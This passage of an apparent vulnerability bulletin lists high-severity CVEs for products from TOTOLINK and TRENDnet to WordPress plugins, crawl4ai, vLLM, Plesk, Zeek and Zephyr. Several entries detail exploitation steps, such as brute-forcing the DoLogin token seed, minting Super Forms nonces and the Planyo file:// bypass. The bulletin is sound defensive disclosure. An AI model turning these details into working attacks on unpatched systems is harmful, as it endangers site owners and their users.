| tigroumeow--Code Engine PHP Snippets, AI Functions & Automation for WordPress               | The Code Engine plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 0.3.5 via the 'code-engine' shortcode. This is due to the plugin not restricting access to the code injecting functionality of the plugin. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-11 | 8.8        | <a href="#">CVE-2025-6784</a>  |
| tombgtn--Simple Coherent Form                                                               | The Simple Coherent Form plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the removeUploadDir function in all versions up to, and including, 2.4.13. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The scf_get_id_upload endpoint freely issues a valid scf_upload_file_removal nonce to any unauthenticated visitor, and the removal endpoint's secondary hash check is forgeable offline because it relies on a hardcoded salt embedded in the plugin source, meaning neither control presents a real authorization boundary.                         | 2026-07-08 | 9.1        | <a href="#">CVE-2026-14487</a> |
| topoteretes--cognee                                                                         | Cognee before 1.2.0 contains an improper access control vulnerability that allows unauthenticated attackers to overwrite the global LLM provider configuration by self-registering an account and calling the settings endpoint, which performs no admin or superuser check. Attackers can redirect all LLM operations instance-wide to an attacker-controlled endpoint by exploiting the process-wide singleton configuration cache, enabling exfiltration of prompts, uploaded documents, extracted entities, and knowledge graph content from all users.                                                                                                                                                                                                             | 2026-07-07 | 9.1        | <a href="#">CVE-2026-58473</a> |
| totalbounty--Widget Logic Visual                                                            | The Widget Logic Visual plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.52 via the widget_logic_visual_check_visibility function. This is due to missing capability check and nonce verification on the widget-logic-update-conditional-tags AJAX action combined with insufficient sanitization of the 'nwlv[cod-tag]' parameter before storage and subsequent use in an eval() call. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute code on the server.                                                                                                                                                                                                   | 2026-07-08 | 8.8        | <a href="#">CVE-2026-14158</a> |
| TOTOLINK--A3000RU                                                                           | A security vulnerability has been detected in TOTOLINK A3000RU, A3100R, A950RG, AC1200T10, CP450, CS185R_T10 and EX200 up to 20260906. Affected by this issue is some unknown functionality of the file /etc/boa/boa.conf of the component Web Interface. The manipulation leads to least privilege violation. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitation is known to be difficult.                                                                                                                                                                                                                                                                                                                               | 2026-07-09 | 7.5        | <a href="#">CVE-2026-15271</a> |
| Trendnet--TEW-635BRM                                                                        | A vulnerability was identified in Trendnet TEW-635BRM up to 1.00.03. This affects the function start_httpd of the file /sbin/rc of the component Web Service. Such manipulation of the argument device_name leads to stack-based buffer overflow. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor explains: "We are unable to confirm if the vulnerability exists. This item has been EOL since 2011. We will make an official announcement of                                                                                                                                                                                                                                                                     | 2026-07-12 | 8.8        | <a href="#">CVE-2026-15480</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                                              | possible vulnerabilities, and recommend users to switch devices." This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Trendnet--TEW-635BRM                                                                                                         | A security flaw has been discovered in Trendnet TEW-635BRM up to 1.00.03. This vulnerability affects the function ipoa_test of the file /sbin/rc of the component IPoA WAN Connection Setup. Performing a manipulation of the argument ipoa_ipaddr results in command injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The vendor explains: "We are unable to confirm if the vulnerability exists. This item has been EOL since 2011. We will make an official announcement of possible vulnerabilities, and recommend users to switch devices." This vulnerability only affects products that are no longer supported by the maintainer. | 2026-07-12 | 8.8        | <a href="#">CVE-2026-15481</a> |
| TRENDnet--TEW-821DAP                                                                                                         | A security vulnerability has been detected in TRENDnet TEW-821DAP 1.12B01. Impacted is the function sub_41EC14 of the file /goform/tools_nslookup of the component ssi. The manipulation of the argument nslookup_target leads to buffer overflow. It is possible to initiate the attack remotely. The vendor explains: "We are unable to confirm the existence of the vulnerabilities for (...) TEW-821DAP (v1.0R) as these items have been EOL. " This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                    | 2026-07-12 | 8.8        | <a href="#">CVE-2026-15483</a> |
| TRENDnet--TEW-821DAP                                                                                                         | A vulnerability was detected in TRENDnet TEW-821DAP 1.12B01. The affected element is the function sub_41EC14 of the file /goform/tools_nslookup of the component ssi. The manipulation results in buffer overflow. It is possible to launch the attack remotely. The vendor explains: "We are unable to confirm the existence of the vulnerabilities for (...) TEW-821DAP (v1.0R) as these items have been EOL. " This vulnerability only affects products that are no longer supported by the maintainer.                                                                                                                                                                                                                      | 2026-07-12 | 8.8        | <a href="#">CVE-2026-15484</a> |
| u-boot--u-boot                                                                                                               | U-Boot through 2026.04-rc3 contains a buffer overflow vulnerability in nfs_readlink_reply() (net/nfs-common.c) when CONFIG_CMD_NFS is enabled, allowing a malicious or compromised NFS server to overflow the 2048-byte nfs_path_buff buffer by returning multiple relative symlink targets that are appended without cumulative length validation. Attackers can send two or more READLINK responses containing relative symlink targets of approximately 1100 bytes each to corrupt adjacent BSS variables including nfs_server_ip, nfs_server_mount_port, nfs_server_port, nfs_our_port, nfs_state, and rpc_id, potentially achieving memory corruption and control over the NFS client state machine.                       | 2026-07-08 | 8.2        | <a href="#">CVE-2026-29009</a> |
| u-boot--u-boot                                                                                                               | U-Boot through 2026.04-rc3 contains an integer underflow vulnerability in the tcp_rx_state_machine() function (net/tcp.c) that allows a network-adjacent attacker to crash the bootloader by sending a malformed TCP SYN+ACK packet with a manipulated data offset field causing payload_len to become negative. When the TCP_SYN_SENT handler calls tcp_rx_user_data() without invoking tcp_seg_in_wnd() validation, the negative payload_len is implicitly converted to a large unsigned integer (e.g., 0xFFFFFFFF8) and passed to memcpy() in store_block(), causing an immediate crash that prevents device boot and may enable memory corruption when CONFIG_LMB is disabled.                                              | 2026-07-08 | 7.5        | <a href="#">CVE-2026-29008</a> |
| udecode--plate                                                                                                               | Plate is a rich-text editor with AI and shadcn/ui. From 53.0.0 until 53.1.4, the media embed renderer trusts serialized provider or sourceUrl metadata in useMediaState and skips parseMediaUrl protocol validation, allowing a crafted Plate document to set a known video provider while keeping url as a javascript: iframe source that the registry MediaEmbedElement renders directly as an iframe src when a victim opens the document. This issue is fixed in version 53.1.4.                                                                                                                                                                                                                                            | 2026-07-08 | 8.7        | <a href="#">CVE-2026-55596</a> |
| ultimatemember--Ultimate Member User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin | The Ultimate Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to blind SQL Injection via the search parameter in all versions up to, and including, 2.10.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This vulnerability was partially patched in version 2.9.2 when initially addressing CVE-2025-0308.                                                        | 2026-07-10 | 7.5        | <a href="#">CVE-2026-15290</a> |
| unclecode--crawl4ai                                                                                                          | Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API server accepted request-supplied browser_config.extra_args, which flowed into Chromium's launch arguments. An attacker could inject Chromium switches that replace a child-process launch command together with --no-zygote, causing Chromium to fork or exec an attacker-controlled command as the                                                                                                                                                                                                                                                                                                                             | 2026-07-06 | 10         | <a href="#">CVE-2026-57572</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                             | container's runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution. This issue is fixed in version 0.9.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| unclecode--crawl4ai                                         | Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, when the crawler saves a downloaded file, the destination filename was taken from attacker-influenced input and joined to the downloads directory with no confinement. A filename containing an absolute path or traversal escaped the downloads directory, giving an arbitrary file write with attacker-controlled contents; the HTTP crawler path uses the response Content-Disposition filename and the browser crawler path uses the download's suggested filename. Because the written bytes are attacker-controlled, this can escalate to remote code execution. This issue is fixed in version 0.9.0.                                                                                                                                                                                                                                                                                           | 2026-07-06 | 9.6        | <a href="#">CVE-2026-57571</a> |
| unclecode--crawl4ai                                         | Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API server applied its SSRF destination check on the non-streaming /crawl path but not on the streaming path. handle_stream_crawl_request passed seed URLs straight to the crawler with no destination validation, allowing a remote unauthenticated client to call POST /crawl/stream or POST /crawl with crawler_config.stream=true with a URL pointing at an internal, private, or link-local address; the server fetched it and streamed the response body back. This issue is fixed in version 0.9.0.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-06 | 8.6        | <a href="#">CVE-2026-57573</a> |
| Vikunja--Vikunja                                            | Vikunja before 2.2.1 contains an authorization flaw where the LinkSharing.ReadAll endpoint exposes share hashes to users with read access, enabling permission escalation to admin-level shares. The GetTaskAttachment endpoint performs permission checks against user-supplied task IDs but fetches attachments by sequential ID without verifying ownership, allowing attackers to download and delete all file attachments across all projects instance-wide.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-10 | 9.8        | <a href="#">CVE-2026-56765</a> |
| vllm-project--vllm                                          | vLLM is a high-throughput and memory-efficient inference and serving engine for LLMs. Prior to 0.24.0, a frontend-legal multi-request speculative decoding workload can cause the rejection sampler to produce a recovered token equal to the model vocabulary size boundary value, which is then converted to negative one when the engine selects the next live token for a request and is written back into the drafter's input ids; that out-of-vocabulary value is later consumed by the model's embedding and attention path and crashes the engine worker with a GPU device-side assertion. The same triggering request sequence is reachable through the public gRPC Generate and Abort endpoints, so a remote client that can send generation requests can crash the shared engine worker, aborting concurrent requests and causing a service-wide denial of service for other clients of the deployment until the worker is restarted. This issue is fixed in version 0.24.0. | 2026-07-06 | 7.5        | <a href="#">CVE-2026-54234</a> |
| Vtiger--Vtiger CRM                                          | Vtiger CRM before 8.4.0 contains an authenticated file upload vulnerability that allows low-privileged users to achieve remote code execution by uploading a .phar file containing arbitrary PHP code through the Documents module, bypassing the extension denylist in config.inc.php which omits the .phar extension. The uploaded file is stored with its original .phar extension under the web-accessible storage directory, and a misconfigured .htaccess using Apache 2.2 syntax is silently ignored on Apache 2.4 deployments, allowing unauthenticated HTTP requests to directly execute the uploaded PHP payload.                                                                                                                                                                                                                                                                                                                                                             | 2026-07-07 | 8.8        | <a href="#">CVE-2026-23697</a> |
| Vtiger--Vtiger CRM                                          | Vtiger CRM through 8.4.0 contains an authenticated remote code execution vulnerability in the admin module import feature that allows administrator-level attackers to upload arbitrary PHP files by submitting a crafted zip archive through the ModuleManager import function, which extracts contents directly into the modules/ directory under the web root without validating file types beyond the manifest.xml descriptor. Attackers can place executable PHP files in the modules/ directory that become directly accessible via HTTP, bypassing Vtiger's authentication and authorization layer entirely since Apache resolves the path and invokes the PHP interpreter before the application routing layer is involved, resulting in a persistent web shell independent of the originating session.                                                                                                                                                                         | 2026-07-07 | 7.2        | <a href="#">CVE-2026-23698</a> |
| wclove--WooCommerce Memberships for Multivendor Marketplace | The WCFM Membership - WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.11.10. This is due to the 'wcfmvm_membership_change' AJAX action not validating user permission to modify other users. This makes it possible for authenticated attackers, with vendor level access and above, to change any user's role to 'wcfm_vendor' by changing their membership plan.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-08 | 8.1        | <a href="#">CVE-2026-3688</a>  |
| Webbeyaz Web Design--Medikm Web                             | Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Webbeyaz Web Design Medikm Web allows SQL                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 9.8        | <a href="#">CVE-2026-8307</a>  |

# High Vulnerabilities

| Primary Vendor -- Product                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                 | Injection. This issue affects MedikÃ¼m Web: through 08072026. NOTE: The vendor was contacted and it was learned that the product is not supported.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| WebPros--Plesk                                                                  | An improper authorization vulnerability in the Plesk XML API allows an authenticated user to inject arbitrary configuration directives, resulting in arbitrary file write as root and full privilege escalation on the underlying server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-06 | 9.9        | <a href="#">CVE-2026-48614</a> |
| Webpros--Plesk                                                                  | Incorrect authorization in the XML-RPC API of WebPros Plesk before 18.0.78.4 allows a low-privileged authenticated customer to look up domains they do not own, because ownership is enforced only for certain lookup filters and schema validation is bypassed for legacy protocol versions. This results in cross-tenant disclosure of other tenants' FTP credentials stored in cleartext, which can be leveraged to execute code as another tenant's system user.                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 9.9        | <a href="#">CVE-2026-56843</a> |
| WebRehab--Super Forms Drag & Drop Form Builder                                  | The Super Forms - Drag & Drop Form Builder plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 6.3.313 via the submit_form function. This is due to missing file type validation and the absence of any capability check on the submit_form nopriv AJAX handler, whose only barrier is a session nonce freely obtainable by unauthenticated visitors via a separate nopriv endpoint. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. The nonce requirement is trivially bypassed because the super_create_nonce nopriv AJAX action allows any unauthenticated visitor to mint a valid sf_nonce and session cookie in a single prior request, reducing exploitation to two unauthenticated HTTP requests.                                              | 2026-07-10 | 9.8        | <a href="#">CVE-2026-14894</a> |
| Wireshark Foundation--Wireshark                                                 | DBS Etherwatch file parser crash in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows denial of service                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 7.5        | <a href="#">CVE-2026-15167</a> |
| withastro--astro                                                                | Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 8.2        | <a href="#">CVE-2026-59731</a> |
| wordpresschef--Salon Booking System Free Version                                | The Salon Booking System - Free Version plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 10.30.32. This is due to missing or incorrect nonce validation on the setCustomText function. This makes it possible for unauthenticated attackers to inject arbitrary PHP code into the web-accessible translate-constants.php file within the plugin directory, enabling remote code execution on the server via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. sanitize_text_field() is applied to the POST 'value' parameter but does not neutralize the characters - single quotes, parentheses, semicolons, \$, and [] - required to break out of the PHP string literal into which the value is interpolated before being written to disk via file_put_contents(). | 2026-07-10 | 8.8        | <a href="#">CVE-2026-15070</a> |
| WP Grid Builder--WP Grid Builder                                                | The WP Grid Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.3.3. This is due to missing authorization and meta key validation in the `update()` handler for the `/wp-json/wpgb/v2/metadata` REST endpoint. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to Administrator by updating their own `wp_capabilities` user meta with a crafted nested array payload.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-11 | 8.8        | <a href="#">CVE-2026-13756</a> |
| wpazleen--Post Export Import with Media                                         | The Post Export Import with Media plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.13.1 via the import_media_file_secure function. This is due to insufficient file extension validation caused by a trailing-dot filename bypass, where the extension allow-list check in ajax_import_media_start() uses pathinfo() on the raw ZIP entry name (e.g., 'shell.php.'), which returns an empty string for the extension, causing the allow-list guard to be skipped and the file to be extracted to a temporary location, after which import_media_file_secure() copies it into the WordPress uploads directory without re-validating the extension. This makes it possible for authenticated attackers, with administrator-level access and above, to upload files that may be executable, which makes remote code execution possible.      | 2026-07-10 | 7.2        | <a href="#">CVE-2026-13430</a> |
| wpdevteam--Essential Addons for Elementor Popular Elementor Templates & Widgets | The Essential Addons for Elementor - Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Authenticated Account Takeover via Email Header Injection in all versions up to, and including, 6.6.10 This is due to insufficient server-side validation of a Login/Register widget setting used to construct outgoing email headers - the allowed-values restriction is enforced only in the client-side editor UI and not on the server, and the applied sanitization does not strip or encode CR/LF characters, allowing CRLF sequences stored in that                                                                                                                                                                                                                                                                                                                  | 2026-07-11 | 8.8        | <a href="#">CVE-2026-15155</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                              | setting to survive into raw mail headers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject an additional Bcc header into the WordPress administrator's password-reset notification email, receive a copy of a valid administrator password-reset link, and achieve full administrator account takeover.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| wpdo5ea--DoLogin Security                                                    | The DoLogin Security plugin for WordPress is vulnerable to Authentication Bypass via Insufficient Randomness in all versions up to, and including, 4.3. The vulnerability exists because `dologin\s::rrand()` seeds the Mersenne Twister with `mt_srand((double) microtime() * 1000000)` - discarding the integer-seconds component of `microtime()` and constraining the seed to a range of approximately 10^6 values (~20 bits of entropy) - after which every character of the 32-character magic-link token is drawn sequentially with `mt_rand()`, making the entire token a deterministic function of that seed. Because `Pswdless::try_login()` is registered on the unauthenticated `init` hook, resolves the target account by the auto-increment numeric ID embedded in the `?dologin=<id>.<hash>` parameter, performs the hash comparison using a non-constant-time `!=` operator, and then calls `wp_set_auth_cookie()` directly - never passing through `wp_authenticate()` and therefore never triggering the plugin's own `Auth::has_login_err()` lockout - an unauthenticated attacker can brute-force the ~10^6-candidate seed space to reconstruct an active passwordless login token and authenticate as any targeted user, including administrators, without a password. Exploitation requires that a valid, unexpired passwordless login link (active for up to 7 days) exists for the target account at the time of the attack, and that the numeric link ID is known or guessable from the auto-increment primary key. | 2026-07-08 | 8.8        | <a href="#">CVE-2026-14495</a> |
| wpmessiah--Swiss Toolkit For WP                                              | The Swiss Toolkit For WP plugin for WordPress is vulnerable to arbitrary file upload due to a flawed file type validation bypass in the `upload_extension_files()` function in all versions up to, and including, 1.4.6. The `upload_extension_files()` function hooks into WordPress's `wp_check_filetype_and_ext` filter and uses `strpos()` to check if a filename contains a configured extension string, rather than verifying the actual file extension. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files (including PHP) on the affected site's server which may make remote code execution possible, granted the "Enhanced Multi-Format Image Support" feature is enabled with at least one extension (e.g., avif) in the allowed formats.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-11 | 8.8        | <a href="#">CVE-2026-2354</a>  |
| wpvibes--Form Vibes Save Contact Form 7 & Elementor Form Entries to Database | The Form Vibes - Database Manager for Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form 7 Form Field in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-11 | 7.2        | <a href="#">CVE-2026-13378</a> |
| WSO2--WSO2 Universal Gateway                                                 | The throttling event handling mechanism in multiple WSO2 products accepts user-supplied JSON payloads without sufficient validation of their structure and content. This allows an unauthenticated remote attacker to inject malicious JSON data that can lead to a persistent denial of service condition. Successful exploitation of this vulnerability can disrupt the API Gateway, preventing legitimate API traffic from being processed and impacting complete service availability. The denial of service is persistent, requiring manual intervention to restore normal operations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 8.6        | <a href="#">CVE-2026-4249</a>  |
| X.Org--libXfont2                                                             | A heap buffer overflow in BitmapScaleBitmaps in libXfont2 before 2.0.8 due to an overflowing 32bit size could be used by attackers able to access the X Server to execute code within the X server cont                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 8.5        | <a href="#">CVE-2026-56001</a> |
| X.Org--libXfont2                                                             | A heap bufferflow in pcfReadFont() due to missing glyph bounds checking in libXfont2 before 2.0.8 allows attackers authenticated as X client to execute code within the X server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 8.5        | <a href="#">CVE-2026-56002</a> |
| X.Org--libXfont2                                                             | A heap buffer overflow due to missing size checking in the property buffer when parsing PCF files in libXfont2 ComputeScaledProperties() before libXfont2 before 2.0.8 could be used by attackers using authenticated X clients to execute code within the X server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 8.5        | <a href="#">CVE-2026-56003</a> |
| X.Org--xorg-server                                                           | Local attackers with a X connection able to provide PCX fonts to the X server xorg-server before 21.2.24 and xwayland before 24.1.13 could cause a heap buffer overflow via SetFont due to missing glyph boundary checks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 8.5        | <a href="#">CVE-2026-55999</a> |
| xtreeme--Planyo online reservation system                                    | The Planyo Online Reservation System plugin for WordPress is vulnerable to Server-Side Request Forgery leading to Local File Inclusion in all versions up to, and including, 3.0. The ulap.php file acts as an AJAX proxy and is directly accessible without WordPress bootstrapping or any authentication. The send_http_post() function validates the host of the provided URL against an allowlist that includes                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-11 | 7.2        | <a href="#">CVE-2026-3576</a>  |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | 'localhost', but critically fails to validate the URL scheme/protocol. This makes it possible for unauthenticated attackers to supply a file:// URL (e.g., file://localhost/etc/passwd) which bypasses the host allowlist check because parse_url() returns 'localhost' as the host. The URL is then passed to curl_init() or fopen(), both of which support the file:// protocol, allowing the attacker to read arbitrary local files on the server and have their contents returned in the HTTP response. This can lead to disclosure of sensitive files such as /etc/passwd, wp-config.php (containing database credentials and authentication keys), and other server-side files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| yhiose--cpp-httpplib      | cpp-httpplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. In affected Mbed TLS backend versions from 0.31.0 through 0.46.1 and wolfSSL backend versions from 0.33.0 through 0.46.1, when cpp-httpplib is built with CPPHTTPLIB_MBEDTLS_SUPPORT or CPPHTTPLIB_WOLFSSL_SUPPORT and a client connects to an IP-literal host with server certificate verification enabled, SSLClient and Client in HTTPS mode skip certificate chain validation and WebSocketClient on the Mbed TLS backend skips verification altogether, allowing a man-in-the-middle attacker positioned to intercept traffic to present a crafted certificate and read or modify the traffic. This issue is fixed in version 0.47.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-10 | 7.4        | <a href="#">CVE-2026-54919</a> |
| yt-dlp--yt-dlp            | yt-dlp and youtube-dl are command-line audio/video downloaders. Prior to 2026.7.4, the --write-link, --write-url-link, and --write-desktop-link options can write .url or .desktop shortcut files using attacker-controlled webpage_url or filename metadata without sufficient validation or escaping, allowing malicious file:// URI injection on Windows or newline-based desktop entry key injection on Linux that can execute commands if the generated shortcut is opened. This issue is fixed in version 2026.7.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 7.5        | <a href="#">CVE-2026-55404</a> |
| zeek--zeek                | Zeek before 8.0.9 contains an uncontrolled memory consumption vulnerability in the FTP analyzer that allows unauthenticated remote attackers to cause process termination by sending a crafted FTP control session negotiating AUTH GSSAPI followed by a large ADAT control line. Attackers can exploit the NVT_Analyzer component's lack of a maximum line length check, causing it to continuously double its internal buffer without bounds during base64 decoding of an attacker-controlled ADAT token, resulting in denial of service of the Zeek sensor.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-09 | 7.5        | <a href="#">CVE-2026-60108</a> |
| zeek--zeek                | Zeek before 8.0.9 contains a null pointer dereference vulnerability in its Kerberos protocol analyzer that allows unauthenticated remote attackers to crash the sensor by sending a crafted KRB_ERROR message with error-code 25 (KDC_ERR_PREAUTH_REQUIRED) containing a PA-DATA element with padata-type 2, 3, 11, or 19. Attackers can exploit a parser and analyzer state mismatch where proc_padata() dereferences an uninitialized pa_data_element field selected by the wrong parsing arm, triggering a crash via a single UDP or TCP packet to port 88 without any credentials or prior authentication.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-09 | 7.5        | <a href="#">CVE-2026-60109</a> |
| zephyrproject--zephyr     | parse_ipv4() in subsys/net/ip/utls.c (reached via net_ipaddr_parse() for strings of the form "a.b.c.d:port") copies the port substring into a fixed 17-byte stack buffer (char ipaddr[NET_IPV4_ADDR_LEN + 1]) using a length of str_len - end - 1, where str_len is the full, unbounded input length and end is only the (<=15-byte) offset of the ':' delimiter. Because the destination size is never consulted, a crafted address string with a long suffix after the colon (e.g. "1.2.3.4:" followed by hundreds of bytes) causes an out-of-bounds stack write whose length and contents are fully attacker-controlled (memcpy of the suffix plus a trailing NUL), enabling memory corruption and at minimum a denial of service, and potentially control-flow hijack. The parser is reached from the standard socket API (zsock_getaddrinfo / literal-address resolution), DNS server-string configuration, and the eswifi Wi-Fi co-processor DNS-response path, so an application that resolves a network-influenced address string is exposed. The bug was introduced when the parser was added (Zephyr v1.9.0) and shipped in all releases through v4.4.0. The fix removes the unbounded copy and validates the port length before copying into a small dedicated buffer. Note: the equivalent IPv6 "[addr]:port" path in parse_ipv6() retains the same unbounded copy at this commit and remains a separate, still-reachable instance of the defect. | 2026-07-12 | 8.1        | <a href="#">CVE-2026-10666</a> |
